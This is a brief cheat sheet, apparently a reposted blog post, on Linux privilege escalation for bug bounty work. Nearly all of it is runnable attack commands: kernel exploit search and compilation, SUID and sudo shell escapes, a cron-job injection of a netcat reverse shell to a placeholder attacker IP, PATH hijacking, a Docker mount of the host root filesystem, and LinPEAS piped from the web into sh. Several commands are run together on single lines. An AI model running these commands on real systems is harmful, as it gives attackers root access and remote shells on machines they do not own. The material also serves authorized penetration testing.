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Privilege escalation vulnerabilities are critical security flaws that allow attackers to elevate their access levels within a system. These bugs are highly sought after in bug bounty programs due to their potential impact. Below, we explore common privilege escalation techniques, along with verified commands and practices for identifying and exploiting them.
You Should Know:
1. Kernel Exploits
Kernel vulnerabilities are a common avenue for privilege escalation. Use the following commands to identify potential kernel exploits:
uname -a # Check kernel version searchsploit "Linux Kernel <version>" # Search for known exploits
Example exploit compilation and execution:
gcc exploit.c -o exploit chmod +x exploit ./exploit
#### **2. SUID/SGID Misconfigurations**
SUID/SGID binaries can be abused if improperly configured. Find them using:
find / -perm -4000 -type f 2>/dev/null # Find SUID files find / -perm -2000 -type f 2>/dev/null # Find SGID files
Exploit known vulnerable binaries like `nmap` (if SUID):
nmap --interactive !sh
#### **3. Sudo Misconfigurations**
Check sudo privileges for the current user:
sudo -l
If a user can run a command as root without a password, exploit it:
sudo vi /etc/passwd :!bash # Escape to shell
#### **4. Cron Job Abuse**
Check for writable cron jobs:
crontab -l ls -la /etc/cron*
If a script is editable, inject a reverse shell:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f" > exploit.sh
#### **5. PATH Variable Hijacking**
If a script calls another program without an absolute path, hijack it:
echo "/bin/bash" > /tmp/ls chmod +x /tmp/ls export PATH=/tmp:$PATH
#### **6. Docker Privilege Escalation**
If inside a Docker container, check for `–privileged` flag:
cat /proc/self/status | grep CapEff
Exploit with:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
### **What Undercode Say:**
Privilege escalation is a critical phase in penetration testing and bug bounty hunting. Always verify misconfigurations, kernel versions, and insecure file permissions. Use automated tools like LinPEAS (curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh) for thorough enumeration.
**Expected Output:**
- Root shell access (
uid=0). - Successful exploitation of SUID/sudo misconfigurations.
- Reverse shell from cron jobs or PATH hijacking.
**Relevant URLs:**
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References:
Reported By: Amit Khandebharad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
